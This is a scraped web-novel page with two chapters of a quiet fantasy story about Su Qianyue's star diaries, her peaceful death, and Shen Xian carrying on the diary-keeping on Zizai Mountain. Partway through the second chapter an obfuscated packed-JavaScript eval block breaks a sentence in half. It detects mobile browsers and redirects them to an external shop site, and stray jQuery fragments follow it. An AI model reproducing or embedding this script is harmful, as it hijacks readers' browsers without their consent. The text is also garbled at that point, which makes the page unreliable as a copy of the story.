文趣网 > 其他小说 > 闲啊 > 53.第 53 章
    # 第六十四章苏浅月的日记

    永夜结束后,苏浅月开始写日记。不是云逸尘那种“今天鸡下了几个蛋”的日记,而是一种沈闲从未见过的日记——星日记。她每天晚上用望远镜看星星,然后把看到的记录下来——星星的位置、亮度、颜色、轨迹。一天一页,一年一本。她写了很多年,写了很多本。日记本堆在观景台的角落里,从地面堆到屋顶,像一座纸山。沈闲有时候会去观景台坐坐,随便翻开一本,看到某一页上写着:“自在星,第三天。亮度超过月亮。颜色从暗红变成亮红。它在长大。”她的眼眶会红一下,不是难过,是想念。

    苏浅月写日记不是为了给别人看,是为了给自己看。她怕自己忘了。老了,记性不好了,星星太多,记不住。写下来就不会忘。沈闲问她怕不怕死。苏浅月想了想。“不怕。死就死。活了这么久,够了。看了一辈子星星,够了。写了这么多日记,够了。但我不急。什么时候走都行。”沈闲点头。“好。”

    苏浅月在日记的最后一页写了一行字:“沈姑娘,如果有一天我走了,你替我看星星。自在星最亮,你替我看。”沈闲问她为什么要替她看。苏浅月说因为她怕星星寂寞。“星星在天上,没人看,会寂寞。你替我看,它们就不寂寞了。”沈闲点头。“好。我替你看。”

    苏浅月的日记本越来越多。从观景台堆到槐树下,从槐树下堆到石桌旁,从石桌旁堆到竹椅边。沈闲被日记本包围了,但她不觉得挤,因为这些都是苏浅月的心。

    有一天,苏浅月从观景台上走下来,手里拿着最后一本日记本。她把日记本递给沈闲。“写完了。最后一本。最后一页,你替我看。”沈闲打开日记本,翻到最后一页。上面写着一行字:“自在星,第一万天。亮度超过太阳。颜色从亮金变成纯白。它在烧,很亮。你看到了吗?”沈闲看着这行字,眼眶红了。“看到了。很亮。”

    苏浅月在她旁边坐下,握住她的手。“我走了。你替我看星星。”沈闲问她去哪里。苏浅月说去星星上。“自在星,最亮的那颗。我在那里,你抬头就能看到。每天晚上,你抬头,我在。”沈闲问她还回来吗。苏浅月摇头。“不回来了。但我在。在天上,在你心里。”

    沈闲点头。“好。”

    苏浅月闭上眼睛,嘴角微微翘起,像是在笑。沈闲握着她的手,感觉到她的手慢慢变凉。苏浅月走了,走得很安详,没有痛苦,没有挣扎。沈闲在她旁边坐了很久,久到太阳落山,星星亮起。她抬头看着自在星,很亮,比太阳还亮。它在烧,在发光。

    “苏浅月,你到了吗?自在星很亮。你看到了吗?”星星闪烁了一下,像是在回答——“看到了。很亮。你替我看。”

    沈闲把苏浅月葬在野花坡上,药老旁边,陈不争旁边,老血旁边,古蛮旁边,林自在旁边,云逸尘旁边,桃花姬旁边,赤焰旁边。墓碑上刻着一行字,是沈闲写的——“苏浅月,看了一辈子星星,写了一辈子日记。最后把自己看成了星星,写成了日记。”

    自在山的人来送她。赤焰从仙界回来了,站在墓前,白发苍苍,道袍飘飘。“苏前辈,您走了。我会想您的。但我不难过,因为您在的时候,我好好对您了。您走了,我不遗憾。”

    猫趴在墓前,橘色的、圆滚滚的,闭着眼睛,打呼噜。它不懂生死,但它知道苏浅月不在了。它不会说话,但它用呼噜声送她。

    沈闲站在墓前看着碑文。“苏浅月,星星你替我看。日记你替我写。你在天上,我在人间。但心在一起,永远。”

    自在山的夜,深蓝色的天空中挂满了星星。沈闲每天晚上去观景台,用苏浅月的望远镜看星星。她看自在星,看药老星,看陈不争星,看老血星,看古蛮星,看林自在星,看云逸尘星,看桃花姬星,看赤焰星,看土豆星。她都看到了,很亮。

    她每天写日记。不是星日记,是自在日记。记录自在山的一切——云、风、竹叶声、粥、葡萄、猫。她写了很多年,写了很多本。日记本堆在观景台的角落里,和苏浅月的日记本挨着。一本一本,一排一排,像一座图书馆。沈闲站在这些日记本前面,想着苏浅月说的话——“写下来就不会忘。”她写下来,也不会忘。但写下来不是为了不忘,是为了让以后的人知道——曾经有一个地方叫自在山,曾经有一群人在这里住过。他们种菜、削土豆、扫地、煮粥、养鸡、写日记、看星星。他们活得很慢,很轻,很淡,但很真。他们活过,就够了。

    沈闲闭上眼睛。丹田里,意识体沈闲坐在亭子里,石椅上坐着那些人。他们看着丹田星空。无数光点在闪烁,无数河流在流淌,无数野菊花在开放,无数心树在生长,无数雪花在飘落,无数光桥在连接,无数天机树在结果,无数根须在延伸,无数葡萄在成熟,无数世界在光门后面,无数声音在黑暗中,无数光在永夜后,无数日记在观景台。

    意识体沈闲看着这片星空,问他们这是哪里。药老说不知道,但云好看。陈不争说不知道,但茶好喝。老血说不知道,但土豆好吃。古蛮说不知道,但地好扫。林自在说不知道,但菜好种。苏浅月说不知道,但星星好看。云逸尘说不知道,但鸡好养。桃花姬叫了一声“咕”。赤焰说不知道,但粥好喝。猫叫了一声“喵”。雪之灵没有说话,它只是飘在星空中,一片一片的雪花,落在每一个人的肩上。

    意识体沈闲笑了。“不知道就不知道。好看就行,好喝就行,好吃就行,好扫就行,好种就行,好养就行,好睡就行,好活就行,好雪就行,好桥就行,好果就行,好根就行,好尽头就行,好星图就行,好葡萄就行,好门就行,好暗就行,好光就行,好日记就行。”

    沈闲睁开眼看着观景台上的日记本。苏浅月的,她的。一本一本,一排一排,像一座图书馆。自在山的历史,自在山的故事,自在山的心。都在这里,永远不会消失。

    她拿起一颗葡萄放进嘴里,嚼了嚼,甜的。和在自在山吃的第一颗葡萄一样甜。葡萄没变,变的是她。但她变了,葡萄还是那个味。甜,永远甜。

    苏浅月的日记,她会一直收着。想她了,就打开看看。她在日记里,在她心里。永远。

    # 第六十五章沈闲的日记

    苏浅月走后,沈闲开始写日记。不是云逸尘那种鸡的日记,不是苏浅月那种星的日记,而是她自己的日记——咸鱼日记。记录自在山的一切——云、风、竹叶声、粥、葡萄、猫。一天一页,一年一本。她写了很多年,写了很多本。日记本堆在槐树下,从树根堆到树干,从树干堆到树梢,像一座纸山。风一吹,纸页哗哗作响,像是在说话。沈闲躺在这片声音中,闭着眼睛,想着苏浅月说的话——“写下来就不会忘。”她写下来,也不会忘。但写下来不是为了不忘,是为了让以后的人知道——曾经有一条咸鱼,在自在山躺着,吃葡萄,喝粥,看云。懒洋洋的,甜丝丝的。她活过,就够了。

    这天,沈闲从竹椅上起来,走到槐树下,从纸山里抽出一本日记。是最早的一本,纸已经黄了,边角卷曲,字迹有些模糊。她翻开第一页——“自在山第一天。云是白的,像棉花糖。粥是红薯粥,甜的。葡萄是紫水晶,甜中带一点酸。猫是橘色的,胖得很。苏浅月在观景台看星星,自在星很亮。我在竹椅上躺着。什么都好。”沈闲看着这行字笑了。什么都好。那时苏浅月还在,赤焰还在,云逸尘还在,桃花姬还在,猫也在。现在都不在了,但日记在。日记在,他们就在。

    她翻开第一百本日记,纸微微发黄,边角有些磨损。“自在山第一百年。云还是白的,粥还是甜的,葡萄还是甜的,猫还是胖的。苏浅月老了,但她还在看星星。赤焰老了,但他还在煮粥。云逸尘老了,但他还在养鸡。桃花姬老了,但她还在下蛋。自在山老了,但还在。我也老了,心老了。但还在,还在躺着,还在吃葡萄,还在喝粥,还在看云。够老了,但不够走。等够的那一天,就走。”

    沈闲合上日记本放回去。她活够了,但还没走。因为她想多陪陪自在山。自在山老了,需要人陪。她在,自在山就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620911|202995||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不孤独。

    她翻开最后一本日记,纸是白的,边角整齐。“自在山不知道多少年。云还是白的,粥还是甜的,葡萄还是甜的,猫还是胖的。但人不在了,苏浅月不在了,赤焰不在了,云逸尘不在了,桃花姬不在了。自在山空了,只有我,只有猫。但我不孤独,因为他们在心里。心在,他们就在。我会一直写日记,写到写不动的那一天。写自在山,写他们,写我自己。写下来,就不会忘。以后的人会知道,曾经有一条咸鱼,在自在山躺着。她很懒,但她很甜。”

    沈闲把日记本放回去,躺回竹椅上。橘猫趴在她腿上,压得腿发麻。她没有把它搬开,就让它压着。

    苏浅月从观景台上走下来,在她旁边坐下。苏浅月不是真的苏浅月,是沈闲心里的苏浅月。但她觉得是真的。“你在写日记?”苏浅月问。沈闲点头。“写了很多。从第一天写到现在。以后还会写,写到写不动的那一天。”苏浅月问她写了什么。沈闲说写自在山。“云、风、竹叶声、粥、葡萄、猫。写你,写赤焰,写云逸尘,写桃花姬,写药老,写陈不争,写老血,写古蛮,写林自在。写每一个人,每一件事。写下来,就不会忘。”

    苏浅月握住她的手。“不会忘。你记着,就不会忘。你写下来,就不会忘。以后的人看到,也不会忘。自在山的故事会一直传下去,永远不会消失。”

    沈闲点头。“永远。”

    沈闲的日记本越来越多。从槐树下堆到竹椅边,从竹椅边堆到石桌旁,从石桌旁堆到灶房里。自在山被日记本包围了,但她不觉得挤,因为这些都是她的心。

    赤焰从仙界回来了,站在槐树下,看着那些日记本。“沈姑娘,你写了这么多。”沈闲说写了一辈子。“还没写完,继续写。写到写不动的那一天。”赤焰问她写不动了怎么办。沈闲说让猫写。“猫不会写字,但它会按爪印。一个爪印就是一页。猫的日记,也会很好看。”

    赤焰笑了。“好。猫写。我替你念。”

    沈闲也笑了。“好。你念。”

    自在山的夜,深蓝色的天空中挂满了星星。沈闲躺在竹椅上,看着自在星,很亮。苏浅月在星星上,看着她。她问苏浅月星星好看吗。星星闪烁了一下,像是在回答——“好看。你替我看。”沈闲笑了。“好。我替你看。”

    她拿起日记本,写下了今天的日记——“自在山不知道多少年。云好看,粥好喝,葡萄甜,猫胖。苏浅月在星星上,很好。赤焰回来了,很好。我在竹椅上躺着,很好。什么都好。够好了。”

    她合上日记本,闭上眼睛。丹田里,意识体沈闲坐在亭子里,石椅上坐着那些人。他们看着丹田星空。无数光点在闪烁,无数河流在流淌,无数野菊花在开放,无数心树在生长,无数雪花在飘落,无数光桥在连接,无数天机树在结果,无数根须在延伸,无数葡萄在成熟,无数世界在光门后面,无数声音在黑暗中,无数光在永夜后,无数日记在观景台,无数日记在槐树下。

    意识体沈闲看着这片星空,问他们这是哪里。药老说不知道,但云好看。陈不争说不知道,但茶好喝。老血说不知道,但土豆好吃。古蛮说不知道,但地好扫。林自在说不知道,但菜好种。苏浅月说不知道,但星星好看。云逸尘说不知道,但鸡好养。桃花姬叫了一声“咕”。赤焰说不知道,但粥好喝。猫叫了一声“喵”。雪之灵没有说话,它只是飘在星空中,一片一片的雪花,落在每一个人的肩上。

    意识体沈闲笑了。“不知道就不知道。好看就行,好喝就行,好吃就行,好扫就行,好种就行,好养就行,好睡就行,好活就行,好雪就行,好桥就行,好果就行,好根就行,好尽头就行,好星图就行,好葡萄就行,好门就行,好暗就行,好光就行,好日记就行,好写就行。”

    沈闲睁开眼看着槐树下的日记本。她写的,一辈子。她拿起一颗葡萄放进嘴里,嚼了嚼,甜的。

    沈闲的日记,她会一直写。写到写不动的那一天。自在山的故事,永远不会结束。